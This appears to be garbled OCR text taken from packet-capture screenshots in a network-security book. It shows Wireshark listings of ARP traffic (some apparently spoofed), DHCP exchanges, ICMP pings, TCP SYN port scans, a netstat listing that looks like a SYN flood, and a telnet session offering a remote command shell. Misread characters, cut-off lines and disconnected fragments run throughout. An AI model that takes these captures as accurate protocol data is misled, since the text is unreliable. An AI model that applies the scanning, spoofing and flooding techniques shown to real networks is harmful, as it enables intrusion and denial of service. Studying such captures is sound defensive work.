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| 39192.168.59.133 192.168.59.135 TCP 42292 -~ 23 [ACK] Se

» Transmission Control Protocol, Src Port: 23, Dst Port: 42292, Set
~ Telnet

Data n
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Echo (ping) 1d=0x126b, seq=1/256, tt
Destinatior 1e (Host unreachable)
tinati le (Host unreachable)
Echo (ping) request id=0x120b, seq=2/512,
Echo (ping) reply  id=0x120b, seq=2/512,

Echo (ping) tel

0 (ping)

request
reply

5eq=3/768,
/768,

Echo (ping)
Echo_(ping)

request
reply

/1024, tt

Echo (ping) request
22192.168.59.135 192.168.59.134 ICWP  Echo (ping) reply
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Info | =

Protocol

135 TCP

42292 ~ 23 [ACK] Se
I

» Transmission Control Protocol, Src Port: 23, Dst Port: 42292, Seq: 54, Ack: 16, Len:
- Telnet

D r\n

Data: You can enter a command.\r\n

Data: Examples: /bin/ls, /bin/sh -c "pwd;1ls", cmd /c dir c:, /bin/bash -i\r\n
Data: Note: full path has to be specified\r\n

Data: Note: cannot use 'progl | prog2', 'program > file' or 'program < file'\r\n
Data: $
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(Pointer indicates the error

5 192.166.59.135 162.168.59.135 ICNP  Parameter problem  (Pointer indicates the error)
I o

Frane 3: 76 b I i
» Ethernet II, Src: 00:00:00_60: o:66 (00: 86:66-60- 66 8)5) DSt Vimare hds s (a :
» Internet Protocol Version 4, Src: 192.168.59.135, Dst: 192.168.59.134
~ Internet Control Message Protocol
Type: 12 (Parameter problem) S
Code: 0 (Pointer indicates the error)
Checksun: oxbfed [correct]
[Checksum Status: Good]
Pointer: ©
» Internet Protocol Version 4, Src: 192.168.59.134, Dst: 192.168.59.135
~ Internet Control Message Protocol

TGP P100) PN ) g b e N g § e b aprnd

c:29:bd:c4
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192.168.59.135
192.168.59.134
192.168.59.134
192.168.59.135
192.168.59.135
192.168.59.134

Protocol_Info
ICMP  Echo (ping) reply
IcMP  Parameter problem
ICWP  Parameter problem
ICP  Echo (ping) request
I Echo (ping) reply
IcMp  Parameter problem
IcMp  Parameter problem
Icp  Echo (ping) request
IcMP  Echo (ping) reply

(request
(Pointer indicates the error)
(Pointer indicates the error)
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1d=0x23de, seq=2/512, ttl=64 (request
(Pointer indicates the error)
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id=0x23de, seq=3/768, ttl=ea (reply i
1d=0x23de, 5eq=3/768, ttl=64 (request.
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» Transmission Control Protocol, Src Port: 23, Dst Port: 42292, Seq: 1369, Ack: 32, Len
~ Telnet
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21 192.168.5! 35 192.168.59.133 TELNET Telnet Data
22 192.168.59.133 192.168.59.135 TCP 42292 — 23 [ACK] Seq=9 Ac

Frame 20: 67 bytes on wire (536 bits), 67 bytes captured (536 bits) on
Ethernet II, Src: Vmware_fd:de:b8 (o c:29:fd:de:b8), Dst: Vmware_ca:e
Internet Protocol Version 4, Src: 192.168.59.133, Dst: 192.168.59.135
Transmission Control Protocol, Src Port: 42292, Dst Port: 23, Seq: 8, /
Telnet

Data: m
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» Transmission Control Protocol, Src

~ Telnet

 Protocol

TCP 23 - 42292 [ACK] Seg:
TELNET  Telnet Data ...
TCP 23 — 42292 [ACK] Seg=
TELNET  Telnet Data ...
TcP 23 ~ 42292 [ACK] Seg:

>
Port: 42292, Dst Port: 23, Seq:
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» Frame 3: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface 0
~ Ethernet II, Src: 3com_12:13:14 (0:01:02:12:13:14), Dst: Tp-LinkT 46:70:ba (ec:17:2f:46:70:ba)
» Destination: Tp-LinkT 46:70:ba (ec ba)
» Source: 3com_12:13:14 (00:01:02:12
Type: IPv4 (©x0800)

Type: 8 (Echo (ping) request)
Code: @
Checksum: 6xd2f3 [correct]
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Protocol _Info

Destination
192.168

» Frame 7: 60 bytes ong#fre (486 bits), 60 bytes captured (48 bits) on interface |
» Ethernet IT, Src: yffiare ca:e4:66 (86:0c:29:ca:ed:66), Dst: Vmware aa:e@:27 (00
) Internet Proti Version 4, Src: 192.168.59.135, Dst: 192.168.59.131

Type: 14 (Timestamp reply)

Code: 6

Checksum: @xdcoc [correct]
[Checksum Status: Good]
Identifier (BE): 55016 (0xdGes)
Identifier (LE): 59606 (6xe8d6)
Sequence number (BE): 980 (0x03d4)

Sequence number (LE): 54275 (0xd403)

Originate timestamp: © (0 seconds after midnight UTC)

Receive timestamp: 31464379 (8 hours, 44 minutes, 24.379 seconds after midnigh
Transmit timestamp: 31464379 (8 hours, 44 minutes, 24.379 seconds after midnig
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192.168.59.135 TELNET Telnet Data
25 192~168.59.135 192.168.59.133 TELNET Telnet Data ...
26 192.168.59.133 192.168.59.135 TCP 42292 - 23 [ACK] Seq:

‘ )
» Frame 24: 68 bytes on wire (544 bits), 68 bytes captured (544 bits
» Ethernet II, Src: Vmware_fd:de:b8 (00:0c:29:fd:de:b8), Dst: Vmware
» Internet Protocol Version 4, Src: 192.168.59.133, Dst: 192.168.59
»

Transmission Control Protocol, Src Port: 42292, Dst Port: 23, Seq:
Telnet
Data: \r\n
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7192.168.59.135 192,168.59.131

ICMP  Timestamp reply

» Frame 6: 54 bytes ongfire (432 bits), 54 bytes captured (432 bits) on interface |
» Ethernet II, Src: are_aa:e@:27 (80:0c:29:aa:e@:27), Dst: Vmware_ca:e4:66 (00:
» Internet Prot fersion 4, Src: 192.168.59.131, Dst: 192.168.59.135 {

Type: 13 (Timestamp request)
Code: ©

Checksum: 6x1843 [correct]
[Checksum Status: Good]
Identifier (BE): 55016 (©xd6es)

Identifier (LE): 59606 (©xe8d6)

Sequence number (BE): 980 (O

sequence number (LE): 54275 1403)

originate timestamp: © (0 seconds after midnight UTC)
Receive timestamp: 6 (6 seconds after midnight UTC)
Transnit timestamp: © (6 seconds after midnight UTC)






OEBPS/Image00194.jpg
Destination
192. 1 1
28 192.168.59.133 192.168.59.135 TCP 42292 23 [ACK] Seq:

>
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No.  Source Destination Protocol Info |

5 Vmware_ca:ed:99 Broadcast ARP Who has 192.168.59.135? Tell 192.168.59.125

a:ed:66__ Vmware ca:ed:99 ARP 168.59.1 at 0 29:cazed:6

6 Vmware

» Frame 6: 60 bytes on wire (480 bits), 66 bytes captured (486 bits) on interface 0
, Ethernet II, Src: Vmware ca:e4:66 (09:0c:29:ca:ed:66), DSt: Vmware c 99 (00:6c:2

Hardware type: Ethernet (1)

Protocol type: IPv4 (0x0800)

Hardware size: 6

Protocol size: 4

Opcode: reply (2)

Sender MAC address: Vmware ca:ed:66 (00:0c:29:ca:ed:66)
Sender IP address: 192.168.59.135

Target MAC address: Vmware ca:e4:99 (00:0c:29:ca:ed:99)
Target IP address: 192.168.59.125
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» Frame 1: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface 0
) Ethernet II, Src: Vmware aa:e0:27 (80:0c:29:aa:e@:27), Dst: Systemon 0a:0b:0c (08:08:09:0a:6l
A Re. Pr (re grat A

Hardware type: Ethernet (1)

Protocol type: IPv4 (0x0800)

Hardware size: 6

Protocol size: 4

opcode: request (1)

[Is gratuitous: True]

Sender MAC address: Vmware_aa:e@:27 (00:0c:29:aa:e0:27)

sender IP address: 192.168.59.132

Target MAC address: 00:00:00_00:00:00 (00:00:00:00:00:00)

Target IP address: 192.168.59.132
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L 40.0.0.8 255.255.255.255 DHCP  DHCP Request - Transaction ID 0x597c6b82

< i J '

> User Datagram Protocol, Src Port: 68 (68), Dst Port: 67 (67) o
4 Bootstrap Protocol (Request)

Message type: Boot Request (1)

Hardware type: Ethernet (0x01)

Hardware address length: 6

Hops: @

Transaction ID: @x597c6b82

Seconds elapsed: @

» Bootp flags: 0x0000 (Unicast)

Client IP address: ©.9.0.0

Your (client) IP address: 0.0.0.0

Next server IP address: ©.0.0.0

Relay agent IP address: ©.0.0.0

Client MAC address: Vmware_db:3f:@a (80:8c:29:db:3f:0a)

Client hardware address padding: 00000000000000000000

55 host name not ngﬁn WPV IR W I

[

£
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No.  Source Destination Protocol Info o
1 Giga-Byt_eb:46:8d Systemon_0a:@b Who has 192.168.12.1027 Tell 6.0.0.0

» Frame 2: 60 bytes on wire (489 bits), 60 bytes captured (480 bits) OMgnterface 0

» Ethernet IT, Src: Giga-Byt 17:cf:21 (50:5:49:17:cf:21), Dst: Giga-Byt Wegd6:8d (50:e5:49:eb:46:8d)
~ Address Resolution Protocol (reply)

Hardware type: Ethernet (1)

Protocol type: IPv4 (0x0800)

Hardware size: 6
Protocol size: 4
Opcode: reply (2)

Sender MAC address: Giga-Byt 17:cf:21 (50:e5:49:17:cf:21)
Sender IP address: 192.168.12.102

Target MAC address: Giga-Byt eb:46:8d (50:e5:49:eb:46:8d)
Target IP address: 0.6.0.0
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L 5192.168.0.1 192.168.0.108 DHCP DHCP ACK - Transaction ID @x597c6b82
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»

» User Datagram Protocol, Src Port: 67 (67), Dst Port: 68 (68)
4 Bootstrap Protocol (ACK)
Message type: Boot Reply (2)
Hardware type: Ethernet (0x01)
Hardware address length: 6
Hops: @
Transaction ID: @x597c6b82
Seconds elapsed: @
> Bootp flags: ©x0000 (Unicast)
Client IP address: ©.0.0.0
Your (client) IP address: 192.168.0.108
Next server IP address: ©.0.0.0
Relay agent IP address: 0.0.0.0
Client MAC address: Vmware_db:3f:@a (@0:0c:29:db:3f:0a)
Client hardware address padding:

Server host name not given

> — iia"""“-ﬂ"“"-"“<" ® _._‘,.' 0P v 4
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No. Destination Protocol _Info
Broadcast ARP Who has 192.

168.59.1357 Tell 192.168.59.132

Broadcast ARP. Who has 192.168.
4 Vmware_ca:ed:66 Vmware aa:e0:27 ARP 192.168.59.135 i
5 Vmware_aa:e0:27 Broadcast ARP Who has 192.168.
6 Vmware_ca:e4:66 Vmware aa:e0:27 ARP 192.168.59.135 is at

00:0c:29:ca:ed:66
57 Tell 192.168.59.132

» Frame 2: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface 0
» Ethernet II, Src: Vmware ca:ed:66 (0:6c:29:ca:ed:66), Dst: Vmware aa:e@:27 (00:0C:29:aa:ed:
~ Address Resolution Protocol (reply)
Hardware type: Ethernet (1)
Protocol type: IPv4 (0x0800)
Hardware size: 6
Protocol size: 4
opcode: reply (2)
sender MAC address: Vmware ca:ea:
sender IP address: 192.168.59.135
Target MAC address: Vmware a:
Target IP address: 192.168.59.132

27 (00:0c:29:aa:€0:27)
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- 20.0.0.0 255.255.255.255 DHCP  DHCP Discover - Transaction ID @x597c6b82

< i J ¥
» Frame 2: 342 bytes on wire (2736 bits), 342 bytes captured (2736 bits) on gerface ol
© Ethernet TI, Src: Vmware_db:3f:0a (@@:0c:29:db:3f:@a), Dst: Broadcast (ff:ff:ff:ff:ff:
© Internet Protocol Version 4, Src: ©..0.8, Dst: 255.255.255.255
© User Datagram Protocol, Src Port: 68 (68), Dst Port: 67 (67)
4 Bootstrap Protocol (Discover)
Message type: Boot Request (1)
Hardware type: Ethernet (@x01)
Hardware address length: 6
Hops: @
Transaction ID: @x597c6b82
Seconds elapsed: @
» Bootp flags: @x0000 (Unicast)
Client IP address: ©.0.8.0
Your (client) IP address: ©.0.0.0
Next server IP address: ©.0.0.0
Relay agent IP address: ©.0.0.0
Client MAC address: Vmware_db:3f:0a (0:0c:29:db:3f:0a)
Client hardware address padding: ©0008000000000000000
Server host name not given
Boot file name not given
Magic cookie: DHCP L
> Option: (53) DHCP Message Type (Discover)
© Option: (61) Client identifier
> Option: (50) Requested IP Address

R e e N e e

i
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Destination

No.  Source

Info

Vmware_aa:e0:27 ARP 192.168.59.135 is at 00:0:29:ca:ed:66
Broadcast ARP. Who has 192.168.59.135? Tell 192.168.59.132

Vimware_aa:e@:27 ARP 192.168.59.135 is at 00:0c:29:ca:ed:66
5 Vmware_aa:e0:27  Broadcast ARP. Who has 192.168.59.135? Tell 192.168.59.132
6 Viware ca:ed:66  Vmware aa:e@:27 ARP 192.168.59.135 is at 00:0c:29:ca:ed:66

» Frame 1: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface &
» Ethernet IT, Src: Vmware aa:e®:27 (00:0c:29:aa:e0:27), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
~ Address Resolution Protocol (request)

Hardware type: Ethernet (1)

Protocol type: IPva (6x0868)

Hardware size: 6

Protocol size: 4

opcode: request (1)

Sender MAC address: Vmware_aa:e0:27 (00:0c:29:aa:ed:27)

sender IP address: 192.168.59.132

Target MAC address: 0:00:00_00:00:00 (60:00:00:00:00:00)

Target IP address: 192.168.59.135
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} 3192.168.0.1 192.168.0.108 DHCP DHCP Offer - Transaction ID ©x597c6b82

« i ] v

> Frame 3: 590 bytes on wire (4720 bits), 590 bytes captured (4720 bits) on interd~
» Ethernet II, Src: Tp-LinkT_f9:3c:c@ (6c:e8:73:f9:3c:c@), Dst: Vmware_db:3f:0a (€
Internet Protocol Version 4, Src: 192.168.0.1, Dst: 192.168.0.108
» User Datagram Protocol, Src Port: 67 (67), Dst Port: 68 (68)
4 Bootstrap Protocol (Offer)
Message type: Boot Reply (2)
Hardware type: Ethernet (@x@1)
Hardware address length: 6
Hops: ©
Transaction ID: @x597c6b82
Seconds elapsed: @
4 Bootp flags: @x0000 (Unicast)
@... .... .... .... = Broadcast flag: Unicast
.000 0000 0000 00O = Reserved flags: ©x0000 i
Client IP address: .0.0.0
Your (client) IP address: 192.168.0.108
Next server IP address: ©.0.0.0

i
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Source Destination Protocol Info

2 Vmware_ca:ed:66

1e5.. ARP 192.168.59.135 is at 00:0c:29:ca
3 al1:b2:c3:d4:e5:.. Broadcast ARP Who has 192.168.59.135? Tell 192.168.59.160
4 Vmware_ca:ed:66 al:b2:c3:dd:e5.. ARP 192.168.59.135 is at 00:0c:29:ca:ed:66
5 al:b2:c3:d4:e5:.. Broadcast ARP Who has 192.168.59.135? Tell 192.168.59.160
6 Vmware_ca:e4:66 al:b2:c3:d4:e5.. ARP 192.168.59.135 is at 09:0c:29:ca:ed:66
7 a1:b2:c3:d4:e5:.. Broadcast ARP Who has 192.168.59.135? Tell 192.168.59.160
8 Vmware_ca:e4:66 al:b2:c3:d4:e5. ARP 192.168.59.135 is at 00:0c:29:ca:ed:66
9 a1:b2:c3:d4:e5:.. Broadcast ARP Who has 192.168.59.135? Tell 192.168.59.160
10 Vmware_ca:ed4:66 al:b2:c3:dd:e5.. ARP 192.168.59.135 is at 00:0c:29:ca:ed:66
‘ >

Frame 1: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface 6

Hardware type: Ethernet (1)
Protocol type: IPv4 (0x0808)

Hardware size: 6

Protocol size: 4

Opcode: request (1)

Sender MAC address: a1:b2:c3:d4:e5:f6 (al:b2:c3:dd:e!
Sender IP address: 192.168.59.160

Target MAC address: of 0_60:00:00 (00:00:00:00:00:00)
Target IP address: 192.168.59.135

:f6)
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Destination Protoc: Info |
€0:27 Broadcast ~ ARP Who has 192.168.59.134? Tell 192.168.59.132
€0:27 Broadcast ~ ARP Who has 192.168.59.135? Tell 192.168.59.132
€0:27 Broadcast ~ ARP Who has 192.168.59.136? Tell 192.168.59.132
€0:27 Broadcast ~ ARP Who has 192.168.59.137? Tell 192.168.59.132
€0:27 Broadcast ~ ARP Who has 192.168.59.138? Tell 192.168.59.132
€0:27 Broadca: Who has 192.168.59.139? Tell 192.168.59.132
€0:27 Broadcast Who has 192.168.59.140? Tell 192.168.59.132
c4:3c Vmware_aa:e.. ARP 192.168.59.134 is at 00:0c:29:bd:c4:3c

13 Vmware_ca:e4:66 Vmware_aa:e.. ARP 192.168.59.135 is at 00:0c:29:ca:e4:66

el gare_co:00,08 Broadcagt AP, Lo hgs 292,168,50.27 Jell192,198.59 1’
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No.  Source Destination Protocol Info
1 Vmware_aa:e@: Broadcast ARP Who has 192.168.59.1332 g€11 192.168.59.132
2 Vmware_aa:e@: Broadcast ARP Who has 192.168.59 Tell 192.168.59.132

3 Vmware_aa:e@:
4 Vmware_ca:ed

ARP Who has
€0:27 ARP

Broadcast ? Tell 192.168.59.132

6

6 Vmware_ca:ed:66

Vmware_ca:e4:99 ARP 192.168.59.135 is at of

‘ D
» Frame 5: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface ©
» Ethernet IT, Src: Vmware ca:e4:99 (00:0c:29:ca:e4:99), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
ition Prot

Hardware type: Ethernet (1)

Protocol type: IPv4 (0x0860)

Hardware size: 6

Protocol size: 4

Opcode: request (1)

sender MAC address: Vmware_ca:e4:99 (80:6c:29:ca:e4:99)

sender IP address: 192.168.59.125

Target MAC address: 00:00:00_00:00:00 (06:00:00:00:00:00)

Target IP address: 192.168.59.135
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106.0.0.0 255.255.255.255  DHCP  DHCP Discover - Transaction ID @xb8ed8552
[ 2192.168.50.254 192.168.59.131 DHCP  DHCP Offer - Transaction ID Oxb8ed8552
| 30.0.0.0 255.255.255.255  DHCP  DHCP Request - Transaction ID @xbgeds5s52
J 4192.168.59.254 192.168.59.131 DHCP  DHCP ACK - Transaction ID xb8ed8s52
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Info

Who has 192.168.59.135? Tell 192,168.59.160
66

Broadcast ARP
66 al:b2:c3:d4:eS.. ARP 192.168.59.135 is at 00:0c:29

3 a1:b2:c3:d4
4 Vmware_ca:

) Frame 2: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface ©
) Ethernet II, Src: Vmwar €4:66 (0! 29:ca:ed:66), DS d4:e5:f6 (al:b2:c3:dd

Hardware type: Ethernet (1)
Protocol type: IPv4 (0x0800)
Hardware size: 6

Protocol size: 4

Opcode: reply (2)

Sender MAC address: Vmware_ca:e4:66 (00
Sender IP address: 192.168.59.135
Target MAC address: a1:b: dd:e5:f6 (al:b2:c3:dd:e5:f6)
Target IP address: 192.168.59.160
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» User Datagram Protocol, Src Port: 68, Dst Port: 67

Message type: Boot Request (1)
Hardware type: Ethernet (0x01)

Hardware address length: 6
Hops: © K
Transaction ID: @xcc6236al
Seconds elapsed: 6

, Bootp flags: 0x0000 (Unicast K
Client IP address: 192.168.5 31
Your (client) IP address: ©0.0.9.
Next server IP address: 0.0
Relay agent IP address: 0.0

Client MAC address: Vmware_fd:de:b8 (00:6c:29 :b8)
Client hardware address padding: 09000000000000000000
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Destination Protocol Info

1 Giga-Byt_eb:46:8d ARP

2 Giga-Byt 1| 192.168.12.102 is at 50:e5:49:17:cf:21

‘ B
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16 192.168.12.102 192.168.12.1 Standard qu

17 192.168.12.1 192.168.12.102 Standard qu

50 192.168.12.102  192.168.12.1 Standard qu

51 192.168.12.102 192.168.12.1 Standard qu

52 192.168.12.1 192.168.12.102 Standard qu

55 192.168.12.102 192.168.12.1 Standard qu

56 192.168.12.102 192.168.12.1 Standard qu

57 192.168.12.102 192.168.12.1 Standard qu
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Destination Protocol Info B
192.168.12.162  TCP 80 > 57036 [ACK] Seq=1 ||
|—L 21 118.1 192.168.12.102 HTTP  HTTP/1.1 200 OK
| 22118.190.126.180 192.168.12.102  TCP 80 > 57036 [FIN, Acx]‘ o

> Frame 21: 277 bytes on wire (2216 bits), 277 bytes captured (2216 bits) on
Ethernet II, Src: Tp-LinkT_46:7@:ba (ec:17:2f:46:70:ba), Dst: Giga-Byt_17:c|
Internet Protocol Version 4, Src: 118.190.126.180, Dst: 192.168.12.102

» Transmission Control Protocol, Src Port: 89, Dst Port: 57036, Seq: 1, Ack:

; r
@ 7 wireshurk 60, peopnl| Fackets: 3131 - Displeyed: 331 (100.0%) - Dropped: 0 (.08) | Frofile: Defandt
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& 1 fe80::45cd:b8d7.. ffe2::c SSDP M-SEARCH * HTTP/1.1 ‘ [E/
2 fe80::45cd:b8d7.. ffe. (< SSDP M-SEARCH * HTTP/1.1 |
{ 3192.168.12.102 192.168.12.1 DNS Standard query 0xf793
g 4192.168.12.102  192.168.12.1 DNS Standard query 0xf793 4 \
i 5192.168.12.1 192.168.12.102 DNS Standard query response |
J

6192.168.12.102  118.190.126.180  TCP 57036 » 80 [SYN] Seq=0 | -

Rl e —| ’

Frame 1: 208 bytes on wire (1664 bits), 208 bytes captured (1664 bits) on in|
Ethernet TI, Src: Giga-Byt_17:cf:21 (50:e5:49:17 1), Dst: IPvémcast_Oc (
Internet Protocol Version 6, Src: fe80::45cd:b8d7:6945:e5f9, Dst: ff02
> User Datagram Protocol, Src Port: 54493, Dst Port: 1900

< i J C
G000 33 33 60 00 00 Oc 50 e5 49 17 cf 21 86 dd 60 00 33----P- I.-1 -
0010 ©0 00 60 9a 11 01 fe 80 ©0 00 00 00 00 00 45 cd . e 3
0020 b8 d7 69 45 e5 9 ff 02 00 00 00 00 00 00 00 00 HEees oo
0030 @0 00 00 00 @0 Oc d4 dd 07 6c 00 9a 4c 1f 4d 2d 1oLem-

‘

@ 7 wireshark CCBSEZC-0165725_e10680. peapng|| Packets: 3731 - Displayed: 3731 (100.08) | Profile: Default
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3147 192.168.12.102 61.135.217.162 Tce 56061 = 80 [,
3148 192.168.12.102 61.135.217.102 TCP [TCP Dup ACK
3149 192.168.12.102  61.135.217.102 TP [TCP Retrans
3150 192.168.12.102 61.135.217.102 TcP [TCP Retrans:
3151 192.168.12.102 61.135.217.102 TCcP [TCP Retrans:
3152 192.168.12.102  61.135.217.102 TcP [TCP Retransq
< - - -
© Frame 1: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) or
» IEEE 802.3 Ethernet
Logical-Link Control
Spanning Tree Protocol
¥ E 2 ¥
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[No. Source Destination Protocol Info
| 1Vmware c0:60:08 _ Broadcast ARP Who has 192.168.59.27 Tell 192.168.59.1
3Vmware c0:00:08  Broadcast ARP Who has 192.168.59.27 Tell 192.168.59.1
4Vmware_c0:00:08  Broadcast ARP  Who has 192.168.59.2? Tell 192.168.59.1
5 Vmware_c0:00:08 Broadcast ARP who has 192.168.59.2? Tell 192.168.59.1
6 Vmware _c0:00:08  Broadcast P Who has 192.168.59.27 Tell 192.168.59.1
T v

» Frame 2: 34 bytes on wire (272 bits), 34 bytes captured (272 bits) on interface 0
~ Ethernet II, Src: Vmware cd:8a:de (60: de), Dst: Vmware d0:21:23 (00:0c:29:

~ Destination: Vmware d0:21:23 (00:0c:29:d0:21:23)

Address
e address (factory default)
IG bit: Individual ad@Mess (unicast)

..0.
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6192.168.50.156  192.168.59.133 TCP 81 - 41952 [SYN, ACK] Seq=0 Acl
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L "47192.168.59.156192.108.59.133

8 192.106.59.156  192.108.59.133 10 1 “IRST, ACK] Seq=1 Ac
9192.166.59.156 192.168.59.133 47240 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
16 192.168.59.156 192.168.59.133 16595 [RST, ACK] Seq

11192.168.59.156 192.168.59.133 9816 [RST, ACK] Seq=1 Ack=1 Wi

12 192.165.59.156_192.168.59.133 ~ 30710 [RST, ACK] Seq=1 Ack=1 Wis
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59.135
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192.168.59.
192.168.59.
.168.59.
.168.59.
.168.59.
59.

Protocol Info

TCP
Tce
TCP
e
Tcp
TcP
TcP.

51482 - 25 [SYN] 5€q=0 Win-1560 Len-6
40474 ~ 53 [SYN] Sex 500 Lel
14165 [SYN] Seq= 500 Ler
41989 - 443 [SYN] Seq=9 Win=1500 Len=0
21 - 40599 [SYN, ACK] Seq

25 - 51482 [SYN, ACK] Seq

53 - 40474

40599 ~ 21 [RST] Se

51482 ~ 25 [RST] Seq=1 Win=

86 - 14165 [SYN, ACK] Seq=0 Ac

443 ~ 41989 [SYN, ACK] Se

40474

14165 ~ 80 [RST] Seq=1 Win=e Le
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Protocol info

74 192.160.59.136
75192.168.59.136 192.168.59.156 TCP
77192.168.59.136  192.168.59.156 TCP
78192.168.59.136 192.168.59.156 TCP
79 192.108.55.130 192108 59.150

» Frame 73: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface 6 -
- Ethernet II, Src: 11:22:33:44:55:66 (11:22:33:44:55:66), Dst: Vmware_aa:e9:27 (00:6c
+ Destination: Vimware_aa:e@:27 (00:0c:29:aa:ed:27)
+ Source: 11:22:33:44:55:66 (11:22:33:44:55:66)
Type: IPv4 (6x0800)
» Internet Protocol Version 4, Src: 1

68.59.136, Dst: 192.168.59.156 .

6620 3b 9c ae 2c 60 14 00 16 5d 41 60 60
5 dc as ff 00 00

7 ECN-Echo (tcp flags.ecn), 1 byte = $M8:223 - BER 12(54%)  Profile: Defauit

GosoM ;. A Al -
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Protocol Info

L7145 192.168.59.133 62.90.134.28 61073 [RST, ACK]
146 192.168.59.133 56.73.83.97 44906 [RST, ACK]
147 192.168.59.133 4.95.150.230 57932 [RST, ACK]
148 192.168.59.133 71.44.225.179 32441 [RST, ACK]

156 192.168.59.133 139.244.74.173 18824 [RST, ACK]
151 192.168.59.133 10.41.138.170 28796 [RST, ACK]

156 192.168.59.133 14.56.119.198 TCP 2355 - BB19 [RST, ACK] Seq=1
157 192.168.59.133 162.55.170.160 TCP 2355 ~ 51575 [RST, ACK] Sec
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No. Source Destination Protocol Info
3192, 131 192.168.59.135 TCP 55038 ~ 21 [SYN] Se

500 Len=o

5192, 131 192.168.59.135 TCP 12296 ~ 25 [SYN] Seq-9 Win=1560 Len=o

7192,

S131 192.168.59.135 1CP 32417 53 [SYN] Seq=0 Win=1560 Len=0

5 192.168.59.131 192.108.59.135 TCP 64234 — 80 [SYN] Seq=0 Win=1560 Len=o

11192.168.50.131 192.168.59.135 TCP 25329 ~ 443 [SYN] ‘Seq=0 Wi

[TCP Port numbers reused] 55038
[TCP Port numbers reused] 12296

13102 5 ] Tep
14 152 59.135 8 TeP

[SWN,
[SYN,

15 192.16 135 TCP  [TCP Port numbers reused] 53 -~ 32417 [SYN

16 192 35 TCP  [TCP Port numbers reused] 88
17 192 135 TP [TCP Port numbers reused] 443

i T w8 Ll

S ie

234 [SYN,
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No. Source Destination Protocol Info [

2192.168.59.135 192.168.59.150 TCP 81 ~ 60895 [SYN, ACK] Seq=0 Ack=1

4192.168.59.150
5192.168.59.135

192.168.59.135
192.168.59.150

46881 ~ 81 [SYN;
81 - 46881 [SYN,

Seq=6 Win=1560 Le
ACK] Seq=6 Ack=1 NN

7192.168.59.150 192.168.59.135 Seq=6 Win=1500 I.r-
8192.168.59.135 192.168.59.150 TCP 81 -~ 25076 [SYN, ACK] Seq=0 Ack=1

» [Frame 1: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface -

» Destination: Vmware ca:ed:66 (90:6c:29:ca:ed:66) i —_

Type: IPva (0x0800)
» Internet Protocol Version 4, Src: 192.168.59.150, Dst: 192.168.59.135
- Transmission Control Protocol, Src Port: 60895, Dst Port: 81, Seq: 0, Len: ©

Destipation Port: 81
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C:\Users\Adninistratordnetstat —a

EER
i Akt Shapiit RS
TCP 8.0.0. 35 WIN-RKPKQFBLG6C: @ LISTENING
TCP 0.9.0. 145 WIN-RKPKQFBLG6C: 0 LISTENING

5 o st

TCP WIN-RKFKQFBLG6C:0 uISTENING
TCP WIN-RKPKQFBLG6C: 0 LISTENING
TCP 127.0.0.1:49213 WIN-RKPKQFBLG6C:0 LISTENING
TCP 192.168.59.133:139 WIN-RKPKQFBLG6C:@ LISTENING
TCP 192.168.59.133:49213 WIN-RKPKQFBLG6C: 8 LISTENING
TCP 192.168.59.133:49213 1.0.15.36:11129 SYN_RECEIVED
TCP 192.168.59.133:49213 1.5.255.206:61307 SYN_RECEIVED
TCP 192.168.59.133:49213 1.7.205.2: SYN_RECEIVED
TCP 192.168.59.133:49213 1.11.56.194:49356 SYN_RECEIVED
TCP 192.168.59.133:49213 1.17.229.199:32921 SYN_RECEIVED
TCP 192.168.59.133:49213 1.19.33.128:39613 SYN_RECEIVED
TCP 192.168.59.133:49213 SYN_RECEIVED
TCP 192.168.59.133:49213 1.29.21.143:58598 SYN_RECEIVED
TCP 192.168.59.133:49213 1.30.138.159:39113 SYN_RECEIVED
TCP 192.168.59.133:49213 1.59.133.189:53750 SYN_RECEIVED
TCP 192.168.59.133:49213 1.60.220.23:5344 SYN_RECEIVED
TCP 192.168.59.133:49213 1.62.26.1409:54299 SYN_RECEIVED
TCP 192.168.59.133:49213 nol1-73-181-100:49281 SYN_RECEIVED
TCP 192.168.59.133:49213 1.86.181.223:20935 SYN_RECEIVED
TCP 192.168.59.133:49213 1.103.253.206:48561 SYN_RECEIVED
TCP 192.168.59.133:49213 1.107.94.210:15657 SYN_RECEIVED
TCP 192.168.59.133:49213 1.108.97.91:38889 SYN_RECEIVED
TCP 192.168.59.133:49213 1.109.80.81:64864 SYN_RECEIVED
TCP 192.168.59.133:49213 1.110.207.25:9545 SYN_RECEIVED
TCP 192.168.59.133:49213 enl1-115-42-237:9831 SYN_RECEIVED
TCP 192.168.59.133:49213 cpe-1-121-208-125:55307 SYN_RECEIVED
TCP 192.168.59.133:49213 1.125.34.11:25369 SYN_RECEIVED
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No.  Source Destination Protocol Info
.168.12.106 125.39.52.26 12014 - 80 [SYN] Seq=0 Win=1560 Len=0

transit)
18823 ~ 80
23788 — 80 [SYN]
9. 92.1 Time-to-live exc
.168.12. 2 27086 — 80 [SYN]
168.12 51876 ~ 80 [SYN]
25192.168.12. 125.39.52.26  TCP 24650 - 80 [SYN] Seq=0 Win=1500
27 192.168.12. 125.39.52.26  TCP 43067 - 80 [SYN] 500
29 192.168.12 125.39.52.26  TCP 43064 - 8 [SYN] 500
30 192.168.12 125.39.52.26  TCP 49326 - 80 [SYN] 500

Ack=1 Win=14400 Len=0 MSS=144¢

31125.39.52.26  192.168.12.106 TCP 80 — 49326 [SYN,
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letwox toolbox version 5.39.8. Netwib library version 5.39.8.
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+ application protocol

+ sniff Ccapture network packets)
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+ record (file containing captured packets)
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+ server
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Download Wireshark

The current stable release of Wireshark is 2.6.5.

Stable Release (2.6.5) «

0ld Stable Release (2.4.11) «

Development Release (2..0) « Dzcemoer 13,201

More downloads and documentation can be found on the downloads pag






OEBPS/Image00139.jpg
tcp

No.

Source Destination

6 192.168.59.135 192.168.59.131
7192.168.59.131 192.168.59.135
8 192.168.59.131 192.168.59.135
9 192.168.59.135 192.168.59.131
